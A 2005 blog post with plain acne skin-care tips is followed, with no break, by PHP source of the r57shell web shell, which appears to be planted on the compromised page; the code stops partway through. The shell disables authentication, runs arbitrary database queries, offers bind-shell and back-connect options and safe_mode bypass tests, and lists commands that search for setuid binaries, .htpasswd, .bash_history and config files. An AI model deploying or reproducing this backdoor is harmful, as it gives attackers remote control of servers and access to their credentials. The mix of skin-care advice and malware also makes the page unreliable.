November 22nd, 2005
Acne skin care
Acne is defined as a diseased condition of the skin that involves the hair and oil glands. It is characterised by pimples, black/white heads, reddishness and cysts. Face acne can spoil your appearance to a great extent and body acne can really ruin your day by making you very uncomfortable. Considering acne as a minor problem, some people tend to totally discard the topic of ‘Acne skin care’. However, the importance of ‘Acne skin care’ cannot be undermined in any way.
Acne skin care should really start much before the acne actually appears. ‘Acne skin care’ is more about being proactive than reactive. Acne skin care is about being aware of preventive measures. Acne skin care is - following daily skin care routines with complete discipline. So let’s have a look at how ‘acne skin care’ can be applied to our daily routine.
‘Acne skin care’ starts with the most basic thing - cleanliness. So morning showers are the most basic way of keeping the skin clean. In fact, a lot of people take night showers too (that not only helps in keeping your skin clean but also provides relaxation to your body and enables a good sleep). If you are living in a hot and/or humid place, a night shower becomes a must. In fact, a shower is recommended after any activity that causes high levels of sweat to develop. It’s a very effective ‘acne skin care’ technique.
However, acne skin care is not about just showers. Acne skin care is also about wearing clean clothes and sleeping on clean pillows. Moreover, too tight clothes can cause sweat to accumulate quickly; so soft and comfortable cotton clothes are recommended, especially if you already have acne. In the same sense, ‘acne skin care’ also advocates regular cleaning of your make-up brush and any equipment that you use on your body.
Besides that, you should also use a mild, water-soluble, oil-free and soap-free cleanser for keeping your face, neck and arms clean. Cleansing is the most important part of any acne skin care routine. Cleaners are the easiest and the most effective way of removing dirt, grease, pollutants and excess oil from your skin; thus reducing the probability of acne occurrence. Acne skin care also recommends removing your make up using a make up remover, and this should happen before you go to bed (not in the morning).
If you already have acne, do not try to touch them or squeeze them; it can lead to permanent scars. ‘Acne skin care’ advocates gentle cleansing and cleaning of the affected area using an over-the-counter medication and a clean/soft cotton pad. There are various acne skin care creams and lotions available over-the-counter (a lot of these acne skin care products are actually cleansers). However, if these ‘acne skin care’ measures don’t give you the desired results, contact a dermatologist for ‘acne skin care’ advice and treatment.
Posted in Uncategorized | 3638 Comments »
_?php
/******************************************************************************************************/
/* ## ##
/* ## ##
/* #######
/* ## ##
/* ## ##
/*
/*
/* r57shell.php - скрипт на пхп позволяющий вам выполнять шелл команды на сервере через браузер
/* Версия: 1.23
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/******************************************************************************************************/
/* ~~~ Настройки ~~~ */
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set(\max_execution_time\,0);
@ini_set(\output_buffering\,0);
$safe_mode = @ini_get(\safe_mode\);
$version = \Spyhackerz.Org\;
if(version_compare(phpversion(), \4.1.0\) == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=_$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_SERVER as $k=_$v)
{
$_SERVER[$k] = stripslashes($v);
}
}
/* ~~~ Аутентификация ~~~ */
// $auth = 1; - Аутентификация включена
// $auth = 0; - Аутентификация выключена
$auth = 0;
// Логин и пароль для доступа к скрипту
// НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!!
$name=\Root\; // логин пользователя
$pass=\pass\; // пароль пользователя
if($auth == 1) {
if (!isset($_SERVER[\PHP_AUTH_USER\]) || $_SERVER[\PHP_AUTH_USER\]!==$name || $_SERVER[\PHP_AUTH_PW\]!==$pass)
{
header(\WWW-Authenticate: Basic realm=\shell\\);
header(\HTTP/1.0 401 Unauthorized\);
exit(\ : Access Denied_/b_\);
}
}
$head = \_!-- Здравствуй Вася --_
_html_
_head_
_title_r57 Turkce - GeneTiX_/title_
_meta http-equiv=\Content-Type\ content=\text/html; charset=windows-1251\_
_STYLE_
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
.table1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
BACKGROUND-COLOR: #D4D0C8;
}
.td1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
font: 7pt Verdana;
}
.tr1 {
BORDER-RIGHT: #cccccc 0px;
BORDER-TOP: #cccccc 0px;
BORDER-LEFT: #cccccc 0px;
BORDER-BOTTOM: #cccccc 0px;
}
table {
BORDER-RIGHT: #eeeeee 1px outset;
BORDER-TOP: #eeeeee 1px outset;
BORDER-LEFT: #eeeeee 1px outset;
BORDER-BOTTOM: #eeeeee 1px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #D4D0C8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
_/STYLE_\;
if(isset($_GET[\phpinfo\])) { echo @phpinfo(); echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\; die(); }
if ($_POST[\cmd\]==\db_query\)
{
echo $head;
switch($_POST[\db\])
{
case \MySQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \3306\; }
$db = @mysql_connect(\localhost:\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
if(!empty($_POST[\mysql_db\])) { @mysql_select_db($_POST[\mysql_db\],$db); }
$querys = @explode(\;\,$_POST[\db_query\]);
foreach($querys as $num=_$query)
{
if(strlen($query)_5){
echo \_font face=Verdana size=-2 color=green__b_Query#\.$num.\ : \.htmlspecialchars($query).\_/b__/font__br_\;
$res = @mysql_query($query,$db);
$error = @mysql_error($db);
if($error) { echo \_table width=100%__tr__td__font face=Verdana size=-2_Error : _b_\.$error.\_/b__/font__/td__/tr__/table__br_\; }
else {
if (@mysql_num_rows($res) _ 0)
{
$sql2 = $sql = $keys = $values = \\;
while (($row = @mysql_fetch_assoc($res)))
{
$keys = @implode(\ _/b__/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(\ _/font__/td__td__font face=Verdana size=-2_ \,$values);
$sql2 .= \_tr__td__font face=Verdana size=-2_ \.$values.\ _/font__/td__/tr_\;
}
echo \_table width=100%_\;
$sql = \_tr__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \.$keys.\ _/b__/font__/td__/tr_\;
$sql .= $sql2;
echo $sql;
echo \_/table__br_\;
}
else { if(($rows = @mysql_affected_rows($db))_=0) { echo \_table width=100%__tr__td__font face=Verdana size=-2_affected rows : _b_\.$rows.\_/b__/font__/td__/tr__/table__br_\; } }
}
@mysql_free_result($res);
}
}
@mysql_close($db);
}
else echo \_div align=center__font face=Verdana size=-2 color=red__b_MsSQL Server ile baglanti kurulamadi_/b__/font__/div_\;
break;
case \MSSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \1433\; }
$db = @mssql_connect(\localhost,\.$_POST[\db_port\],$_POST[\mysql_l\],$_POST[\mysql_p\]);
if($db)
{
if(!empty($_POST[\mysql_db\])) { @mssql_select_db($_POST[\mysql_db\],$db); }
$querys = @explode(\;\,$_POST[\db_query\]);
foreach($querys as $num=_$query)
{
if(strlen($query)_5){
echo \_font face=Verdana size=-2 color=green__b_Query#\.$num.\ : \.htmlspecialchars($query).\_/b__/font__br_\;
$res = @mssql_query($query,$db);
if (@mssql_num_rows($res) _ 0)
{
$sql2 = $sql = $keys = $values = \\;
while (($row = @mssql_fetch_assoc($res)))
{
$keys = @implode(\ _/b__/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(\ _/font__/td__td__font face=Verdana size=-2_ \,$values);
$sql2 .= \_tr__td__font face=Verdana size=-2_ \.$values.\ _/font__/td__/tr_\;
}
echo \_table width=100%_\;
$sql = \_tr__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \.$keys.\ _/b__/font__/td__/tr_\;
$sql .= $sql2;
echo $sql;
echo \_/table__br_\;
}
/* else { if(($rows = @mssql_affected_rows($db)) _ 0) { echo \_table width=100%__tr__td__font face=Verdana size=-2_affected rows : _b_\.$rows.\_/b__/font__/td__/tr__/table__br_\; } else { echo \_table width=100%__tr__td__font face=Verdana size=-2_Error : _b_\.$error.\_/b__/font__/td__/tr__/table__br_\; }} */
@mssql_free_result($res);
}
}
@mssql_close($db);
}
else echo \_div align=center__font face=Verdana size=-2 color=red__b_MSSQL server ile baglanti Kurulamadi_/b__/font__/div_\;
break;
case \PostgreSQL\:
if(empty($_POST[\db_port\])) { $_POST[\db_port\] = \5432\; }
$str = \host=\localhost\ port=\\.$_POST[\db_port\].\\ user=\\.$_POST[\mysql_l\].\\ password=\\.$_POST[\mysql_p\].\\ dbname=\\.$_POST[\mysql_db\].\\\;
$db = @pg_connect($str);
if($db)
{
$querys = @explode(\;\,$_POST[\db_query\]);
foreach($querys as $num=_$query)
{
if(strlen($query)_5){
echo \_font face=Verdana size=-2 color=green__b_Query#\.$num.\ : \.htmlspecialchars($query).\_/b__/font__br_\;
$res = @pg_query($db,$query);
$error = @pg_errormessage($db);
if($error) { echo \_table width=100%__tr__td__font face=Verdana size=-2_Error : _b_\.$error.\_/b__/font__/td__/tr__/table__br_\; }
else {
if (@pg_num_rows($res) _ 0)
{
$sql2 = $sql = $keys = $values = \\;
while (($row = @pg_fetch_assoc($res)))
{
$keys = @implode(\ _/b__/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \, @array_keys($row));
$values = @array_values($row);
foreach($values as $k=_$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(\ _/font__/td__td__font face=Verdana size=-2_ \,$values);
$sql2 .= \_tr__td__font face=Verdana size=-2_ \.$values.\ _/font__/td__/tr_\;
}
echo \_table width=100%_\;
$sql = \_tr__td bgcolor=#cccccc__font face=Verdana size=-2__b_ \.$keys.\ _/b__/font__/td__/tr_\;
$sql .= $sql2;
echo $sql;
echo \_/table__br_\;
}
else { if(($rows = @pg_affected_rows($res))_=0) { echo \_table width=100%__tr__td__font face=Verdana size=-2_affected rows : _b_\.$rows.\_/b__/font__/td__/tr__/table__br_\; } }
}
@pg_free_result($res);
}
}
@pg_close($db);
}
else echo \_div align=center__font face=Verdana size=-2 color=red__b_PostgreSQL server ile baglanti kurulamadi_/b__/font__/div_\;
break;
case \Oracle\:
$db = @ocilogon($_POST[\mysql_l\], $_POST[\mysql_p\], $_POST[\mysql_db\]);
if(($error = @ocierror())) { echo \_div align=center__font face=Verdana size=-2 color=red__b_ Oracle server ile baglanti kurulamadi_br_\.$error[\message\].\_/b__/font__/div_\; }
else
{
$querys = @explode(\;\,$_POST[\db_query\]);
foreach($querys as $num=_$query)
{
if(strlen($query)_5) {
echo \_font face=Verdana size=-2 color=green__b_Query#\.$num.\ : \.htmlspecialchars($query).\_/b__/font__br_\;
$stat = @ociparse($db, $query);
@ociexecute($stat);
if(($error = @ocierror())) { echo \_table width=100%__tr__td__font face=Verdana size=-2_Error : _b_\.$error[\message\].\_/b__/font__/td__/tr__/table__br_\; }
else
{
$rowcount = @ocirowcount($stat);
if($rowcount != 0) {echo \_table width=100%__tr__td__font face=Verdana size=-2_affected rows : _b_\.$rowcount.\_/b__/font__/td__/tr__/table__br_\;}
else {
echo \_table width=100%__tr_\;
for ($j = 1; $j _= @ocinumcols($stat); $j++) { echo \_td bgcolor=#cccccc__font face=Verdana size=-2__b_ \.htmlspecialchars(@ocicolumnname($stat, $j)).\ _/b__/font__/td_\; }
echo \_/tr_\;
while(ocifetch($stat))
{
echo \_tr_\;
for ($j = 1; $j _= @ocinumcols($stat); $j++) { echo \_td__font face=Verdana size=-2_ \.htmlspecialchars(@ociresult($stat, $j)).\ _/font__/td_\; }
echo \_/tr_\;
}
echo \_/table__br_\;
}
@ocifreestatement($stat);
}
}
}
@ocilogoff($db);
}
break;
}
echo \_form name=form method=POST_\;
echo in(\hidden\,\db\,0,$_POST[\db\]);
echo in(\hidden\,\db_port\,0,$_POST[\db_port\]);
echo in(\hidden\,\mysql_l\,0,$_POST[\mysql_l\]);
echo in(\hidden\,\mysql_p\,0,$_POST[\mysql_p\]);
echo in(\hidden\,\mysql_db\,0,$_POST[\mysql_db\]);
echo in(\hidden\,\cmd\,0,\db_query\);
echo \_div align=center__textarea cols=65 rows=10 name=db_query_\.(!empty($_POST[\db_query\])?($_POST[\db_query\]):(\SHOW DATABASES;\\nSELECT * FROM user;\)).\_/textarea__br__input type=submit name=submit value=\\\ SQL Sorgusu Iste \\\__/div__br__br_\;
echo \_/form_\;
echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\; die();
}
if(isset($_GET[\delete\]))
{
@unlink(@substr(@strrchr($_SERVER[\PHP_SELF\],\/\),1));
}
if(isset($_GET[\tmp\]))
{
@unlink(\/tmp/bdpl\);
@unlink(\/tmp/back\);
@unlink(\/tmp/bd\);
@unlink(\/tmp/bd.c\);
@unlink(\/tmp/dp\);
@unlink(\/tmp/dpc\);
@unlink(\/tmp/dpc.c\);
}
if(isset($_GET[\phpini\]))
{
echo $head;
function U_value($value)
{
if ($value == \\) return \_i_no value_/i_\;
if (@is_bool($value)) return $value ? \TRUE\ : \FALSE\;
if ($value === null) return \NULL\;
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str), 100, \_wbr /_\, true);
return @preg_replace(\!(&[^;]*)_wbr /_([^;]*;)!\, \$1$2_wbr /_\, $str);
}
if (@function_exists(\ini_get_all\))
{
$r = \\;
echo \_table width=100%_\, \_tr__td bgcolor=#cccccc__font face=Verdana size=-2 color=red__div align=center__b_Directive_/b__/div__/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2 color=red__div align=center__b_Local Value_/b__/div__/font__/td__td bgcolor=#cccccc__font face=Verdana size=-2 color=red__div align=center__b_Master Value_/b__/div__/font__/td__/tr_\;
foreach (@ini_get_all() as $key=_$value)
{
$r .= \_tr__td_\.ws(3).\_font face=Verdana size=-2__b_\.$key.\_/b__/font__/td__td__font face=Verdana size=-2__div align=center__b_\.U_value($value[\local_value\]).\_/b__/div__/font__/td__td__font face=Verdana size=-2__div align=center__b_\.U_value($value[\global_value\]).\_/b__/div__/font__/td__/tr_\;
}
echo $r;
echo \_/table_\;
}
echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\;
die();
}
if(isset($_GET[\cpu\]))
{
echo $head;
echo \_table width=100%__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2 color=red__b_CPU_/b__/font__/div__/td__/tr__/table__table width=100%_\;
$cpuf = @file(\cpuinfo\);
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i_$c;$i++)
{
$info = @explode(\:\,$cpuf[$i]);
if($info[1]==\\){ $info[1]=\---\; }
$r .= \_tr__td_\.ws(3).\_font face=Verdana size=-2__b_\.trim($info[0]).\_/b__/font__/td__td__font face=Verdana size=-2__div align=center__b_\.trim($info[1]).\_/b__/div__/font__/td__/tr_\;
}
echo $r;
}
else
{
echo \_tr__td_\.ws(3).\_div align=center__font face=Verdana size=-2__b_ --- _/b__/font__/div__/td__/tr_\;
}
echo \_/table_\;
echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\;
die();
}
if(isset($_GET[\mem\]))
{
echo $head;
echo \_table width=100%__tr__td bgcolor=#cccccc__div align=center__font face=Verdana size=-2 color=red__b_MEMORY_/b__/font__/div__/td__/tr__/table__table width=100%_\;
$memf = @file(\meminfo\);
if($memf)
{
$c = sizeof($memf);
for($i=0;$i_$c;$i++)
{
$info = explode(\:\,$memf[$i]);
if($info[1]==\\){ $info[1]=\---\; }
$r .= \_tr__td_\.ws(3).\_font face=Verdana size=-2__b_\.trim($info[0]).\_/b__/font__/td__td__font face=Verdana size=-2__div align=center__b_\.trim($info[1]).\_/b__/div__/font__/td__/tr_\;
}
echo $r;
}
else
{
echo \_tr__td_\.ws(3).\_div align=center__font face=Verdana size=-2__b_ --- _/b__/font__/div__/td__/tr_\;
}
echo \_/table_\;
echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\;
die();
}
/*
Выбор языка
$language=\eng\ - русский
$language=\ru\ - английский
*/
$language=\eng\;
$lang=array(
\ru_text1\ =_\Выполненная команда\,
\ru_text2\ =_\Выполнение команд на сервере\,
\ru_text3\ =_\Выполнить команду\,
\ru_text4\ =_\Рабочая директория\,
\ru_text5\ =_\Загрузка файлов на сервер\,
\ru_text6\ =_\Локальный файл\,
\ru_text7\ =_\Алиасы\,
\ru_text8\ =_\Выберите алиас\,
\ru_butt1\ =_\Выполнить\,
\ru_butt2\ =_\Загрузить\,
\ru_text9\ =_\Открытие порта и привязка его к /bin/bash\,
\ru_text10\=_\Открыть порт\,
\ru_text11\=_\Пароль для доступа\,
\ru_butt3\ =_\Открыть\,
\ru_text12\=_\back-connect\,
\ru_text13\=_\IP-адрес\,
\ru_text14\=_\Порт\,
\ru_butt4\ =_\Выполнить\,
\ru_text15\=_\Загрузка файлов с удаленного сервера\,
\ru_text16\=_\Использовать\,
\ru_text17\=_\Удаленный файл\,
\ru_text18\=_\Локальный файл\,
\ru_text19\=_\Exploits\,
\ru_text20\=_\Использовать\,
\ru_text21\=_\Новое имя\,
\ru_text22\=_\datapipe\,
\ru_text23\=_\Локальный порт\,
\ru_text24\=_\Удаленный хост\,
\ru_text25\=_\Удаленный порт\,
\ru_text26\=_\Использовать\,
\ru_butt5\ =_\Запустить\,
\ru_text28\=_\Работа в safe_mode\,
\ru_text29\=_\Доступ запрещен\,
\ru_butt6\ =_\Сменить\,
\ru_text30\=_\Просмотр файла\,
\ru_butt7\ =_\Вывести\,
\ru_text31\=_\Файл не найден\,
\ru_text32\=_\Выполнение PHP кода\,
\ru_text33\=_\Проверка возможности обхода ограничений open_basedir через функции cURL\,
\ru_butt8\ =_\Проверить\,
\ru_text34\=_\Проверка возможности обхода ограничений safe_mode через функцию include\,
\ru_text35\=_\Проверка возможности обхода ограничений safe_mode через загрузку файла в mysql\,
\ru_text36\=_\База\,
\ru_text37\=_\Логин\,
\ru_text38\=_\Пароль\,
\ru_text39\=_\Таблица\,
\ru_text40\=_\Дамп таблицы базы данных\,
\ru_butt9\ =_\Дамп\,
\ru_text41\=_\Сохранить в файле\,
\ru_text42\=_\Редактирование файла\,
\ru_text43\=_\Редактировать файл\,
\ru_butt10\=_\Сохранить\,
\ru_butt11\=_\Редактировать\,
\ru_text44\=_\Редактирование файла невозможно! Доступ только для чтения!\,
\ru_text45\=_\Файл сохранен\,
\ru_text46\=_\Просмотр phpinfo()\,
\ru_text47\=_\Просмотр настроек php.ini\,
\ru_text48\=_\Удаление временных файлов\,
\ru_text49\=_\Удаление скрипта с сервера\,
\ru_text50\=_\Информация о процессоре\,
\ru_text51\=_\Информация о памяти\,
\ru_text52\=_\Текст для поиска\,
\ru_text53\=_\Искать в папке\,
\ru_text54\=_\Поиск текста в файлах\,
\ru_butt12\=_\Найти\,
\ru_text55\=_\Только в файлах\,
\ru_text56\=_\Ничего не найдено\,
\ru_text57\=_\Создать/Удалить Файл/Директорию\,
\ru_text58\=_\Имя\,
\ru_text59\=_\Файл\,
\ru_text60\=_\Директорию\,
\ru_butt13\=_\Создать/Удалить\,
\ru_text61\=_\Файл создан\,
\ru_text62\=_\Директория создана\,
\ru_text63\=_\Файл удален\,
\ru_text64\=_\Директория удалена\,
\ru_text65\=_\Создать\,
\ru_text66\=_\Удалить\,
\ru_text67\=_\Chown/Chgrp/Chmod\,
\ru_text68\=_\Команда\,
\ru_text69\=_\Параметр1\,
\ru_text70\=_\Параметр2\,
\ru_text71\=_\Второй параметр команды:\\r\\n- для CHOWN - имя нового пользователя или его UID (числом) \\r\\n- для команды CHGRP - имя группы или GID (числом) \\r\\n- для команды CHMOD - целое число в восьмеричном представлении (например 0777)\,
\ru_text72\=_\Текст для поиска\,
\ru_text73\=_\Искать в папке\,
\ru_text74\=_\Искать в файлах\,
\ru_text75\=_\* можно использовать регулярное выражение\,
\ru_text76\=_\Поиск текста в файлах с помощью утилиты find\,
\ru_text77\=_\Просмотр структуры базы данных\,
\ru_text78\=_\Показывать таблицы\,
\ru_text79\=_\Показывать столбцы\,
\ru_text80\=_\Тип\,
\ru_text81\=_\Сеть\,
\ru_text82\=_\Базы данных\,
\ru_text83\=_\Выполнение SQL запроса\,
\ru_text84\=_\SQL запрос\,
\ru_text85\=_\Проверка возможности обхода ограничений safe_mode через выполнение команд в MSSQL сервере\,
/* --------------------------------------------------------------- */
\eng_text1\ =_\Komut Uygula\,
\eng_text2\ =_\Server uzerinde komut calistir\,
\eng_text3\ =_\Komut istemi\,
\eng_text4\ =_\Calisma dizini\,
\eng_text5\ =_\Servere Dosya Upload et\,
\eng_text6\ =_\Yerel Dosya\,
\eng_text7\ =_\Dizin Veya Dosya Bul\,
\eng_text8\ =_\Sec\,
\eng_butt1\ =_\Uygula\,
\eng_butt2\ =_\Yukle\,
\eng_text9\ =_\Porta baglan /bin/bash\,
\eng_text10\=_\Port\,
\eng_text11\=_\Sifre Giris\,
\eng_butt3\ =_\Baglan\,
\eng_text12\=_\back-connect\,
\eng_text13\=_\IP\,
\eng_text14\=_\Port\,
\eng_butt4\ =_\Baglan\,
\eng_text15\=_\Uzaktan servere dosya yukle\,
\eng_text16\=_\ile\,
\eng_text17\=_\Uzak Dosya\,
\eng_text18\=_\Yerel Dosya\,
\eng_text19\=_\Exploits\,
\eng_text20\=_\Kullan\,
\eng_text21\=_\ Yeni ad\,
\eng_text22\=_\datapipe\,
\eng_text23\=_\Yerel port\,
\eng_text24\=_\Uzak host\,
\eng_text25\=_\Uzak port\,
\eng_text26\=_\Kullan\,
\eng_butt5\ =_\Iste\,
\eng_text28\=_\Guvenlik Modunda Calis\,
\eng_text29\=_\Giris Yasak\,
\eng_butt6\ =_\Degistir\,
\eng_text30\=_\Cat file\,
\eng_butt7\ =_\Goster\,
\eng_text31\=_\Dosya Bulunamadi\,
\eng_text32\=_\PHP kod degerlendir\,
\eng_text33\=_\cUcurlL fonksiyonu ile open_basedir atlamayi test et.\,
\eng_butt8\ =_\Testet\,
\eng_text34\=_\Includes fonksiyonu ile Guvenlik modunu atlamayi test et.\,
\eng_text35\=_\Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.\,
\eng_text36\=_\Database[VeriTabani]\,
\eng_text37\=_\Kullanici\,
\eng_text38\=_\Sifre\,
\eng_text39\=_\Tablo\,
\eng_text40\=_\Dump database table[DB Tablosu dok]\,
\eng_butt9\ =_\Dump\,
\eng_text41\=_\DB dosyalarini kaydet.[Dump filed]\,
\eng_text42\=_\Dosya Duzenle\,
\eng_text43\=_\Dosya Duzenlemek icin\,
\eng_butt10\=_\Kaydet\,
\eng_text44\=_\Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor\,
\eng_text45\=_\Dosya Kaydedildi\,
\eng_text46\=_\PHPinfo Goster\,
\eng_text47\=_\php.ini dosyasinda ki degiskenleri goster\,
\eng_text48\=_\Temp dosylarini sil\,
\eng_butt11\=_\Dosya Duzenle\,
\eng_text49\=_\Server dan bu scripti sil\,
\eng_text50\=_\CPU bilgisini incele\,
\eng_text51\=_\Memory[hafiza] bilgisini incele]\,
\eng_text52\=_\Metin Bul\,
\eng_text53\=_\Dizin icinde\,
\eng_text54\=_\Dosyalarda ki metni bul\,
\eng_butt12\=_\Bul\,
\eng_text55\=_\Sadece dosyalarda ki\,
\eng_text56\=_\Bulunmadi :( KeyCoder :)\,
\eng_text57\=_\Olustur/Sil Dosya/Dizin\,
\eng_text58\=_\isim\,
\eng_text59\=_\dosya\,
\eng_text60\=_\dizin\,
\eng_butt13\=_\Olustur/Sil\,
\eng_text61\=_\Dosya Olustur\,
\eng_text62\=_\Dizin Olustur\,
\eng_text63\=_\Dosya Sil\,
\eng_text64\=_\Dizin Sil\,
\eng_text65\=_\Olustur\,
\eng_text66\=_\Sil\,
\eng_text67\=_\Chown/Chgrp/Chmod\,
\eng_text68\=_\Uygula\,
\eng_text69\=_\param1\,
\eng_text70\=_\param2\,
\eng_text71\=_\Second commands param is:\\r\\n- for CHOWN - name of new owner or UID\\r\\n- for CHGRP - group name or GID\\r\\n- for CHMOD - 0777, 0755...\,
\eng_text72\=_\Metin Bul\,
\eng_text73\=_\Klasor Bul\,
\eng_text74\=_\Dosya Bul\,
\eng_text75\=_\* you can use regexp\,
\eng_text76\=_\Metin ara dosyalarin icinde arama yoluyla\,
\eng_text77\=_\Database yapisini Goster\,
\eng_text78\=_\Tablolari Goster\,
\eng_text79\=_\Sutunlari Goster\,
\eng_text80\=_\Cesit\,
\eng_text81\=_\Net\,
\eng_text82\=_\Databases\,
\eng_text83\=_\SQL sorgusu yap\,
\eng_text84\=_\SQL sorgusu\,
);
/*
Алиасы команд
Позволяют избежать многократного набора одних и тех-же команд. ( Сделано благодаря моей природной лени )
Вы можете сами добавлять или изменять команды.
*/
$aliases=array(
\Uygun Dosyalari bul\=_\find / -type f -perm -04000 -ls\,
\Genel uygun dosyalari dizinlerde bul\=_\find . -type f -perm -04000 -ls\,
\sgid dosyalari bul\=_\find / -type f -perm -02000 -ls\,
\sgid uygun dosyalari dizinlerde bul\=_\find . -type f -perm -02000 -ls\,
\config.inc.php dosyalarini bul\=_\find / -type f -name config.inc.php\,
\config.inc.php dosyalarini dizinlerde bul\=_\find . -type f -name config.inc.php\,
\config* dosyalarini bul\=_\find / -type f -name \config*\\,
\config* dosyalarini dizinlerde bul\=_\find . -type f -name \config*\\,
\Yazilabilir Dosyalari bul\=_\find / -type f -perm -2 -ls\,
\Yazilabilir Dosyalari dizinlerde bul\=_\find . -type f -perm -2 -ls\,
\Yazilabilir klasorleri bul\=_\find / -type d -perm -2 -ls\,
\Yazilabilir butun klasorleri dizinlerde bul\=_\find . -type d -perm -2 -ls\,
\Yazilabilir dosya ve klasorleri bul\=_\find / -perm -2 -ls\,
\Yazilabilir butun dosya ve klasorleri dizinlerde bul\=_\find . -perm -2 -ls\,
\Butun service.pwd dosyalarini bul\=_\find / -type f -name service.pwd\,
\service.pwd dosyalarini genel dizinlerde bul\=_\find . -type f -name service.pwd\,
\Butun .htpasswd dosyalarini bul \=_\find / -type f -name .htpasswd\,
\.htpasswd dosylarini genel dizinlerde bul\=_\find . -type f -name .htpasswd\,
\Butun .bash_history dosyalarini bul\=_\find / -type f -name .bash_history\,
\.bash_history dosyalarini genel dizinlerde bul\=_\find . -type f -name .bash_history\,
\Butun .mysql_history dosyalarini bul\=_\find / -type f -name .mysql_history\,
\.mysql_history dosyalarini genel dizinlerde bul\=_\find . -type f -name .mysql_history\,
\Butun .fetchmailrc dosyalarini bul\=_\find / -type f -name .fetchmailrc\,
\.fetchmailrc dosylarini genel dizinlerde bul\=_\find . -type f -name .fetchmailrc\,
\Linux uzerinde erisilebilinen sistem dosyalarini listele\=_\lsattr -va\,
\Acilan portlari goster\=_\netstat -an | grep -i listen\,
\----------------------------------------------------------------------------------------------------\=_\ls -la\
);
$table_up1 = \_tr__td bgcolor=#cccccc__font face=Verdana size=-2__b__div align=center_:: \;
$table_up2 = \ ::_/div__/b__/font__/td__/tr__tr__td_\;
$table_up3 = \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc_\;
$table_end1 = \_/td__/tr_\;
$arrow = \ _font face=FixedSysy color=gray_и_/font_\;
